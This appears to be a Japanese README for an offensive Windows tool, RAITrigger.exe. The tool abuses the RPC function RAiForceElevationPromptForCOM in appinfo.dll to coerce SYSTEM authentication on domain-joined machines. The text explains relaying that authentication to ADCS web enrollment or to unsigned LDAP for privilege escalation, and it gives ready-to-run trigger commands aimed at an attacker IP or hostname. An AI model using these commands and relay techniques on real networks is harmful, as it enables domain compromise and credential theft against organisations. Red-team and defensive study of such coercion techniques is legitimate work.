appinfo.dll ライブラリの RPC 関数 RAiForceElevationPromptForCOM は、SYSTEM への強制認証を可能にします。これはドメイン参加システムでのみ機能します。この関数は、プロセスを生成するためではなく、任意の場所への SYSTEM 認証をトリガーするために、任意の低権限ユーザーから呼び出せることが判明しました。これは、CreateFileW が最初の入力パラメータの場所に対して SYSTEM として呼び出されるためです。
低権限ユーザーへの偽装が維持されたままであるため、これは SEImpersonate から SYSTEM への特権昇格を行う Potato トリガーとしては使用できません。
しかし、受信する SMB 認証を利用して、Web 登録が有効な ADCS に対してコンピュータ アカウント証明書を要求するために使用できます。または、LDAP 署名 (LDAP Signing) が有効でない場合に、LDAP へのリレーを使用した LPE にも使用できます。
SMB 認証をトリガーするには:
[*] RAITrigger.exe \\attackerip\test\test.exe
HTTP 認証をトリガーするには (WebClient サービスを有効にする必要があります):
[*] RAITrigger.exe \\hostname@80\test\test.exe
HTTP 認証は信頼されたイントラネット ゾーンのシステムに対してのみトリガーされるため、Kali IP 用の ADIDNS レコードを作成するか、同じサブネット内にいて、例えば Responder を使用する必要があります。完全な FQDN は使用せず、ホスト名のみを使用してください。
この関数をリモートから呼び出すと (ローカル管理者であっても) rpc_access_denied になるため、これは、例えば PetitPotam または類似ツールの代替にはなりません。
